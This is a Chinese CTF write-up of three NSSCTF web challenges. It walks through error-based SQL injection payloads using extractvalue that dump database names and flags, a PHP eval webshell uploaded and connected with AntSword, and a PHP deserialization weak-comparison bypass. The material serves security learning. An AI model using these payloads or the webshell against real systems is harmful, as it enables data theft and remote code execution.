目錄
[SWPUCTF 2021 新生賽]error
1、題目
2、知識點
3、思路
[LitCTF 2023]作業管理系統
1、題目
2、知識點
3、思路
[HUBUCTF 2022 新生賽]checkin
1、題目
2、知識點
3、思路
[SWPUCTF 2021 新生賽]error
1、題目
2、知識點
數據庫注入、報錯注入
3、思路
首先,輸入一個1
輸入1'
數據庫語句報錯,且報錯信息有回顯出來,加入注釋符
正常回顯,說明當前的閉合方式正確,為單引號的閉合,使用報錯函數extractvalue
http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,database())) --+
得到數據庫名為:test_db
http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))) --+
得到兩個表:test_tb,users
http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'))) --+
test_tb表的兩個字段為:id,flag
http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'))) --+
users表的三個字段:id,username,password
http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag) from test_db.test_tb))) --+
得到flag的前半段,這里以為另外一半藏到別的地方,其實是沒完全顯示出來,使用函數substring
substring()
http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(flag),32,30) from test_db.test_tb))) --+
合并起來的flag:NSSCTF{eed0ee27-1b46-4520-a7b5-71dd9183d446}
[LitCTF 2023]作業管理系統
1、題目
2、知識點
文件上傳,蟻劍連接
3、思路
右鍵,查看源碼,發現登錄名和密碼
登錄上去
這里有很多功能,我們可以上傳一句話木馬文件 flag.php
<?php
@eval($_POST['cmd']); #一句話木馬
?>
這里我們可以知道上傳到根目錄下
上傳成功后使用蟻劍連接
連接成功后在根目錄找到flag文件
打開flag文件,得到flag
得到flag:
NSSCTF{d0dc1586-48ed-4661-8b97-02fd17bf0cd4}
[HUBUCTF 2022 新生賽]checkin
1、題目
2、知識點
PHP反序列化,數組
3、思路
題目給了我們一段代碼
$data_unserialize['username']==$username&&$data_unserialize['password']==$password
審計代碼,意思是username和password的值反序列后的值要相同,這里使用了弱類型比較(==)
代碼中給了兩個值,先進行序列化后上傳看看,使用在線網站
PHP 在線工具 | 菜鳥工具 (jyshare.com)
<?php
$info = array(
?? ?'username'=>"this_is_secret",
?? ?'password'=>"this_is_not_known_to_you"
);
echo ?serialize($info);
http://node5.anna.nssctf.cn:25489/?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}
flag沒有出來,因為username和password的值更改了,我們不知道具體的值是什么
這里我們就要考慮怎么使兩個值相同
弱比較中,true和非空、非零字符串弱比較(==)都是為true,所以我們使兩個字段的值都為true
<?php
$info = array(
?? ?'username'=>true,
?? ?'password'=>true
);
echo ?serialize($info);
?
將得到的值傳給info
得到flag:NSSCTF{5713f43e-708e-458e-a6fc-fd82c254f8d3}
這篇文章就先寫到這里啦,哪里不懂的或者哪里不足的歡迎批評指正